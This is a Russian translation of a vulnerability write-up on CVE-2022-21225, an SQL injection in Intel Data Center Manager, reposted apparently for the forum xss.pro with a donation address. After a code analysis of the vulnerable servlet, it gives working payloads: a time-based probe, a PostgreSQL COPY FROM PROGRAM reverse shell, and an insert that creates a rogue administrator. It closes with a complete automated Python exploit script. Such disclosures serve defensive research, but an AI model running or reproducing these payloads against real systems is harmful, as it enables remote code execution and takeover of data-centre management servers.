ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов
Введение
Вам наверняка понравилась моя предыдущая заметка о том, как обойти механизм аутентификации Intel DCM для получения несанкционированного доступа. Это дало нам минимально возможные привилегии "Гость" в консоли DCM.
Во второй части мы покажем вам возможный способ получить удаленное выполнение кода на базовом хосте, используя аутентифицированную уязвимость SQL Injection, доступную с того же уровня "Гость". Саму SQL Injection легко использовать, но путь к ней был довольно ухабистым из-за нескольких ограничений, которые необходимо было обойти. Я представил эту ошибку через программу Intel по борьбе с ошибками и получил вознаграждение в размере 10 000 долларов. Intel присвоила CVE-2022-21225 и опубликовала собственное сообщение об этом. Однако они снова допустили ту же ошибку AV:A при подсчете балла CVSS для этой уязвимости, поэтому в моем сообщении указан другой балл - 9,9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Эксплойт нацелен на уязвимую версию 4.0.1.45257 Intel DCM, но затрагивает все версии ниже 4.1. Было введено исправление, по крайней мере, в версии 5.0.0.46307.
Пути к эксплуатации
Существует три требования для достижения пути к уязвимому коду:
- В консоли должна быть настроена хотя бы одна (серверная) комната. Достижение уязвимого пути кода при свежей установке без комнаты невозможно.
- Сервер должен хотя бы раз пройти временную отметку 14:30. Таким образом, если сервер был установлен в 14:31, вам нужно подождать еще 23 часа и 59 минут ИЛИ обмануть администратора, заставив его следовать определенным маршрутом (подробнее об этом в статье).
- Сама уязвимость представляет собой аутентифицированную SQL-инъекцию. Аутентифицированный, в данном случае, означает, что эксплойт/запрос должен быть снабжен действительным JSESSIONID и действительным antiCSRFId. Однако даже гость с самой низкой привилегированной ролью может использовать эту SQL-инъекцию.
DCM-консоль Intel имеет множество веб-маршрутов, поэтому давайте сначала изучим, где находится SQL-инъекция и как до нее добраться. Уязвимый сервлет называется com.intel.console.server.servlet.DataAccessServlet, который сопоставлен с различными шаблонами URL, как показано в файле web.xml DCM:
Код:
<servlet>
<display-name>DataAccessServlet</display-name>
<servlet-name>DataAccessServlet</servlet-name>
<servlet-class>com.intel.console.server.servlet.DataAccessServlet</servlet-class>
</servlet>
[...]
<servlet-mapping>
<servlet-name>DataAccessServlet</servlet-name>
<url-pattern>/DataAccessServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DataAccessServlet</servlet-name>
<url-pattern>/data/*</url-pattern>
</servlet-mapping>
[...]
Сервлет имеет множество операций, которые могут быть вызваны путем добавления параметра action к запросу. Уязвимое действие вызывает getRoomRackData:
Код:
if (context.op.equals("getRoomRackData")) {
return getRoomRackData(req, resp);
}
Таким образом, запрос для запуска уязвимого метода в основном выглядит следующим образом:
Код:
https://[ip-address]:8643/DcmConsole/DataAccessServlet?action=getRoomRackData
Объявление соответствующего метода можно найти в классе com.intel.console.server.servlet.DataAccessServlet:
Код:
private String getRoomRackData(HttpServletRequest req, HttpServletResponse resp) throws IOException, ConsoleException, ConsoleStubException {
RackData[] rackDatas;
GetRoomRackDataRequestData reqData = null;
JobContext context = getJobContext(req);
if (context.jobRequest != null) {
reqData = (GetRoomRackDataRequestData) context.jobRequest.getRequestObj();
}
if (reqData == null) {
return errorResponse(resp, context, 0, "request data is empty or in invalid format");
}
JobResponse response = new JobResponse();
int snapshotId = reqData.getSnapshotId();
String dataName = reqData.getDataName();
int roomId = reqData.getRoomId();
if (reqData.getSnapshotId() == 0) {
rackDatas = DataAccess.getRoomRackData(roomId, dataName);
if (reqData.getAnalysisMode() == 2) {
ServerPlacementResp result = (ServerPlacementResp) context.session.getAttribute("com.intel.dcm.server_placement");
if (result == null) {
return errorResponse(resp, context, 0, "request data is empty or in invalid format");
}
LinkedList<ServerPlacement> lastRes = result.getPlacements();
if (lastRes == null) {
return errorResponse(resp, context, 0, "request data is empty or in invalid format");
}
Iterator<ServerPlacement> it = lastRes.iterator();
while (it.hasNext()) {
ServerPlacement sp = it.next();
int length = rackDatas.length;
int i = 0;
while (true) {
if (i < length) {
RackData rackData = rackDatas[i];
if (sp.getRackId() == rackData.getId()) {
rackData.setCapacity((int) sp.getSpaceCapacity());
rackData.setPowerCapacity((int) sp.getPowerCapacity());
rackData.setWeightCapacity((int) sp.getWeightCapacity());
if (dataName.equalsIgnoreCase("POWER_CAPACITY")) {
rackData.setPowerCapPercentage(sp.getPowerCapacityUtil());
} else if (dataName.equalsIgnoreCase("PEAK_POWER_CAPACITY")) {
rackData.setPowerPeakPercentage(sp.getPowerCapacityUtil());
} else if (dataName.equalsIgnoreCase("DERATED_POWER_CAPACITY")) {
rackData.setPowerDeratedPercentage(sp.getPowerCapacityUtil());
} else if (dataName.equalsIgnoreCase("WEIGHT_CAPACITY")) {
rackData.setWeightCapPercentage(sp.getWeightCapacityUtil());
}
rackData.setSpaceCapPercentage(sp.getSpaceCapacityUtil());
} else {
i++;
}
}
}
}
}
} else {
rackDatas = LayoutSnapshotManager.getInstance().getRoomRackData(snapshotId, roomId, dataName);
}
[...]
Уязвимый участок кода расположен в строке 56 при создании экземпляра класса LayoutSnapshotManager. Запрос должен быть настроен со следующими параметрами:
- A requestObj (line 6) JSON parameter
- A snapshotId (line 12) JSON parameter within the requestObj
- A dataName (line 13) JSON parameter within the requestObj.
- A roomId (line 14) JSON parameter within the requestObj
Теперь, чтобы достичь уязвимого вызова метода в строке 56, необходимо пропустить условие if в строке 15 и вместо него использовать путь else. Это означает, что значение snapshotId должно быть любым, отличным от 0. Поэтому установка этого значения в 1 должна пройти проверку и перейти прямо к уязвимому методу:
Код:
{"antiCSRFId":"335178097BB201A86B82DDA03C561360","requestObj":{"snapshotId":1,"roomId":1,"dataName":"test"}}
Метод getRoomRackData() обрабатывается классом com.intel.console.server.dcModeling.LayoutSnapshotManager:
Код:
public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException {
ResultSet res;
PreparedStatement statement;
Connection conn;
LinkedList ret = new LinkedList<>();
Integer[] rackIds = getRoomRackIds(snapshotId, roomId);
if (rackIds.length == 0) {
return new RackData[0];
}
StringBuilder sb = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START);
for (int i = 0; i < rackIds.length; i++) {
if (i > 0) {
sb.append(",");
}
sb.append(rackIds[i]);
}
sb.append(DefaultExpressionEngine.DEFAULT_INDEX_END);
String rackIdsString = sb.toString();
LinkedList propsList = new LinkedList<>();
propsList.add("NAME");
propsList.add("CABINETPDU");
if (rackDataType.equals("POWER_CAPACITY")) {
propsList.add("POWER_PERCENTAGE");
} else if (rackDataType.equals("PEAK_POWER_CAPACITY")) {
propsList.add("PEAK_POWER_PERCENTAGE");
} else if (rackDataType.equals("DERATED_POWER_CAPACITY")) {
propsList.add("DERATED_POWER_PERCENTAGE");
} else if (rackDataType.equals("SPACE_CAPACITY")) {
propsList.add("SPACE_PERCENTAGE");
} else if (rackDataType.equals("WEIGHT_CAPACITY")) {
propsList.add("WEIGHT_PERCENTAGE");
} else {
propsList.add("CAPACITY");
propsList.add("POWERCAPACITY");
propsList.add("WEIGHTCAPACITY");
propsList.add("IT_EQUIPMENT_PWR");
propsList.add(rackDataType);
}
StringBuilder sb2 = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START);
for (int i2 = 0; i2 < propsList.size(); i2++) {
if (i2 > 0) {
sb2.append(",");
}
sb2.append(OperatorName.SHOW_TEXT_LINE);
sb2.append(propsList.get(i2));
sb2.append(OperatorName.SHOW_TEXT_LINE);
}
try {
sb2.append(DefaultExpressionEngine.DEFAULT_INDEX_END);
String propsString = sb2.toString();
conn = ConnectionProvider.getConnection();
statement = null;
res = null;
try {
statement = conn.prepareStatement("select entity_id, property_name, property_value from\"T_Entity_Snapshot\" where snapshot_id=? and entity_id in " + rackIdsString + " and property_name in " + propsString + " order by entity_id");
statement.setInt(1, snapshotId);
int lastId = -1;
RackData rackData = null;
res = statement.executeQuery();
[...]
Необходимо пройти проверку в строке 7, чтобы достичь SQL-запроса в строке 55. Для этого необходимо, чтобы была настроена хотя бы одна комната и присутствовал один снимок (строка 6). При успешном прохождении проверки, ранее упомянутый контролируемый пользователем параметр dataName (который передается в эту функцию как строка rackDataType) добавляется без санации в propsList (строка 37), соответственно, в экземпляр sb2 StringBuilder (строка 45). sb2 затем приводится к строке (строка 50) и объединяется в подготовленный запрос (строка 55). Это, кстати, отличный пример того, как не следует использовать подготовленные операторы ;-).
Однако на свежей установке DCM таблица snapshot пуста, что означает, что мы не сможем достичь уязвимого SQL-запроса, не передав условие if из строки 7:
Возьмем снимок (Id)
Итак, чтобы достичь уязвимого SQL-запроса, нам нужен "снимок", который определяется через snapshotId . Есть два основных способа его получить:
Первый вариант: Через веб-маршрут /V1/goto, взятый из web.xml:
Код:
<filter>
<display-name>RedirectFilter</display-name>
<filter-name>RedirectFilter</filter-name>
<filter-class>com.intel.console.server.login.RedirectFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>RedirectFilter</filter-name>
<url-pattern>/V1/goto</url-pattern>
</filter-mapping>
Этот маршрут обрабатывается классом com.intel.console.server.login.RedirectFilter:
Код:
private static final Pattern entityPattern = Pattern.compile("entityid=(\\\d+)");
@Override // javax.servlet.Filter
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
int index;
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
String param = httpRequest.getQueryString();
if (param != null) {
HttpSession session = httpRequest.getSession();
String param2 = param.toLowerCase();
Matcher m = entityPattern.matcher(param2);
if (m.matches()) {
int entityId = Integer.valueOf(m.group(1)).intValue();
try {
IdName[] path = DcModel.getEntityPath(entityId);
String res = entityId + ",";
for (int i = 0; i < path.length; i++) {
if (i != 0) {
res = res + "_";
}
res = res + path[i].getId();
}
sessionPathMap.put(session.getId(), res);
} catch (Exception e) {
sessionPathMap.put(session.getId(), "0");
}
} else if ((param2.equals("takesnapshot") || param2.equals("tss")) && UserMgmtHandler.isAdminOrPowerUser(httpRequest)) {
LayoutSnapshotManager.getInstance().takeSnapshot();
}
}
String url = httpRequest.getRequestURI().replace("?", "");
if (!(url == null || (index = url.indexOf("goto")) == -1)) {
httpResponse.sendRedirect(url.substring(0, index));
}
}
Чтобы получить моментальный снимок, необходимо дойти до строки 29, которая вызывает метод takeSnapshot(). Чтобы добраться до нее, необходимо:
- пройти проверку в строке 9, просто добавив HTTP-параметр
- НЕ включать entityid (строка 13)
- иметь пустой параметр запроса takesnapshot или tss (строка 28), а пользователь для этого должен иметь роль dcm_admin или dcm_poweruser.
Это означает, что злоумышленник должен обмануть администратора или опытного пользователя хотя бы один раз, чтобы посетить следующий URL:
https://[ip-adress]:8643/DcmConsole/V1/goto?takesnapshot
Это создаст нужный снимок:
Однако хакеры не любят обманывать пользователей, поэтому должен быть более простой способ, не так ли? К счастью, класс com.intel.console.server.dcModeling.LayoutSnapshotManager показывает нам еще один интересный маршрут, определяя
SnapshotTimerTask, который также вызывает takeSnapshot()метод (строка 7):
Код:
public class SnapshotTimerTask extends TimerTask {
SnapshotTimerTask() {
}
@Override // java.util.TimerTask, java.lang.Runnable
public void run() {
LayoutSnapshotManager.this.takeSnapshot();
try {
LayoutSnapshotManager.this.cleanExpiredSnapshots();
} catch (ConsoleDbException e) {
AppLogger.warn("cleanExpiredSnapshots return exception:" + e.getMessage());
}
}
}
Это происходит так:
Код:
public synchronized void init() {
int minute;
int hour;
String snapshotTime = Configuration.getProperty("SNAPSHOT_TIME");
int splitPos = snapshotTime.indexOf(":");
try {
} catch (NumberFormatException e) {
AppLogger.warn("Invalid snapshot time configuration:" + snapshotTime + ". Default time will be used.");
hour = 14;
minute = 30;
}
if (splitPos > 0) {
hour = Integer.parseInt(snapshotTime.substring(0, splitPos));
minute = Integer.parseInt(snapshotTime.substring(splitPos + 1, snapshotTime.length()));
if (hour < 0 || hour >= 24 || minute < 0 || minute >= 60) {
throw new NumberFormatException("invalid format");
}
Date now = new Date();
Calendar executionTime = Calendar.getInstance();
executionTime.set(11, hour);
executionTime.set(12, minute);
executionTime.set(13, 0);
executionTime.set(14, 0);
if (executionTime.getTime().before(now)) {
executionTime.add(6, 1);
}
if (this.snapshotTimer == null) {
this.snapshotTimer = new Timer("take_snapshot_timer");
this.timerTask = new SnapshotTimerTask();
}
this.snapshotTimer.scheduleAtFixedRate(this.timerTask, executionTime.getTimeInMillis() - now.getTime(), 86400000);
return;
}
throw new NumberFormatException("invalid format");
}
Сначала выполняется попытка считать свойство SNAPSHOT_TIME из файла конфигурации console.config.xml (строка 4). Однако этот параметр отсутствует в стандартной установке Intel DCM в Windows и Linux. Это означает, что задача автоматически устанавливает час на 14 и минуту на 30 (строки 9-10 и 20-21), что в конечном итоге приводит к автоматическому выполнению задачи каждый день в 14:30:
Поэтому все, что нужно сделать злоумышленнику, это: дождаться, когда отметка 14:30 будет пройдена один раз.
Получение значений roomId и snapshotId
Для того чтобы функция getRoomRackIds() (строка 6) возвращала непустой целочисленный массив, также требуется действительный roomId:
Код:
public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException {
ResultSet res;
PreparedStatement statement;
Connection conn;
LinkedList ret = new LinkedList<>();
Integer[] rackIds = getRoomRackIds(snapshotId, roomId);
if (rackIds.length == 0) {
return new RackData[0];
}
Эти данные можно получить с помощью запроса к маршруту /DcmConsole/rest/rooms:
[ATTACH type="full" width="1533px"]50444[/ATTACH]
SnapshotId можно получить с помощью протокола /DcmConsole/DcModelServlet?action=getAllSnapshots:
[ATTACH type="full" width="1626px"]50445[/ATTACH]
Эксплуатация SQL-инъекции для удаленного выполнения кода
Используя ранее собранные значения roomId и snapshotId, теперь можно пройти проверку if (строка 7) и сконструировать полезную нагрузку SQL Injection в параметре dataName. Поскольку DCM использует PostgreSQL, простая команда PG_SLEEP может подтвердить инъекцию:
[CODE]
{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');SELECT PG_SLEEP(5)--"}}
Злоупотребляя функциональностью стекированных запросов PostgreSQL, теперь также можно использовать родную команду COPY для выполнения произвольных команд. Сначала необходимо создать временную таблицу, используя следующую полезную нагрузку:
За ним следует хорошая полезная нагрузка обратной оболочки:
Код:
{"antiCSRFId": "0C39C25FF37ABE58191709BEDC62593B", "requestObj":{"snapshotId":5, "roomId":12, "dataName": "test");COPY cmd_exec FROM PROGRAM 'python3 -c ''import socket,subprocess,os;s=socket. socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.95\",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'''';--"}}}
Что, в конце концов, позволяет получить shell...
…или даже более опасный calc.exe:
Bonus
Если RCE для вас слишком отстойный вариант, вот еще одна полезная нагрузка:
Код:
');insert into \"T_User\" values (5, 'mrtux','mrtux','d5cfdec3d4df48675960f62846228683e5f4c0d9201aeaedf81a7070b971be2f','CIXnGd3e6leBaN7IQYlpdJ69pMB9KiNz5rCBomG70ouJkLfYFziuRoey8LFwvi1HFNZhuV0L1lKEky93DZ88UhM+oTwinG7UrRPsDIt0Rrc=','hacked',0,null,null,0,0,0,null);--
Чтобы добавить нового администратора в DCM Intel:
Давайте автоматически взломаем его
Вот полный сценарий Python для автоматической эксплуатации этой проблемы, если злоумышленник имеет доступ к DCM Intel на уровне гостя:
Код:
import hashlib
import json
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if __name__ == '__main__':
### FILL IN ###
target = "https://127.0.0.1:8643"
username = "guest"
password = "Password0"
# PUT single quotes into double-single-quotes to escape them
# linux shell
command = "python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.27:1337\"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")''"
# windows calc.exe
#command = "powershell.exe Start-Process -FilePath \"c:\\Windows\\System32\\calc.exe\""
### DO NOT EDIT BELOW HERE ###
# Get a valid roomId first
print("Fetching a valid roomId: ", end="")
url = target + "/DcmConsole/rest/rooms"
headers = {
"dcmUserName": username,
"dcmUserPassword": password,
"dcmAccountType": "0"
}
r = requests.get(url, headers=headers, verify=False)
response = json.loads(r.content)
roomId = response['content'][0]['id']
print(str(roomId))
# Get a valid snapshotId
url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots"
# Let's convert the password to be able to auth to the app and get the JSESSIONID and the antiCSRFId
pwd_sha1 = hashlib.sha1(password.encode()).hexdigest()
pwd_sha256 = (hashlib.sha256(pwd_sha1.encode()).hexdigest())
url = target+"/DcmConsole/login/login"
json_body = {
"antiCSRFId": None,
"requestObj": {
"name": username,
"password": pwd_sha256,
"type":0
}
}
print("Fetching a valid antiCSRFId: ", end="")
r = requests.post(url, verify=False, json=json_body)
response = json.loads(r.content.decode())
antiCSRFId = response['responseObj']['sessionId']
print(str(antiCSRFId))
for item in r.cookies.items():
jsessionid = item[1]
# Let's create the cookies
cookies = dict(JSESSIONID=jsessionid)
# Get a valid snapshotId
print("Searching for a valid snapshotId: ", end="")
url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots"
json_body = {
"antiCSRFId":antiCSRFId,
"requestObj":{
"id": -1
}
}
r = requests.post(url, verify=False, json=json_body, cookies=cookies)
response = json.loads(r.content.decode())
snapshotIds = response['responseObj'] #[0]['snapshotId']
for snapshotId in snapshotIds:
# test whether the snapshotId is bound to an actual room (aka the room must have existed before the snapshot creation)
url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData"
json_body = {
"antiCSRFId": antiCSRFId,
"requestObj": {
"snapshotId": snapshotId['snapshotId'],
"roomId": roomId,
"dataName": "test"
}
}
r = requests.post(url, verify=False, json=json_body, cookies=cookies)
responseObj = json.loads(r.content)['responseObj']
# Only proceed if the responseObj is not empty:
if responseObj:
snapshotId = snapshotId['snapshotId']
print(str(snapshotId))
break
# Test if the target is vulnerable using PG_SLEEP
url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData"
json_body = {
"antiCSRFId": antiCSRFId,
"requestObj": {
"snapshotId": snapshotId,
"roomId": roomId,
"dataName": "test');SELECT PG_SLEEP(5)--"
}
}
print("Testing basic SQL-Injection using PG_SLEEP: ", end="")
r = requests.post(url, verify=False, json=json_body, cookies=cookies)
if r.elapsed.total_seconds() > 4.5:
print("Target " + target + " is vulnerable")
json_body = {
"antiCSRFId": antiCSRFId,
"requestObj": {
"snapshotId": snapshotId,
"roomId": roomId,
"dataName": "test');CREATE TABLE cmd_exec(cmd_output text);--"
}
}
r = requests.post(url, verify=False, json=json_body, cookies=cookies)
if r.status_code == 200:
print("Successfully injected cmd_exec table")
json_body = {
"antiCSRFId": antiCSRFId,
"requestObj": {
"snapshotId": snapshotId,
"roomId": roomId,
"dataName": "test');COPY cmd_exec FROM PROGRAM '" + command +"';--"
}
}
print("Triggering command!")
r = requests.post(url, verify=False, json=json_body, cookies=cookies)
else:
print("Target " + target + " doesn't look vulnerable")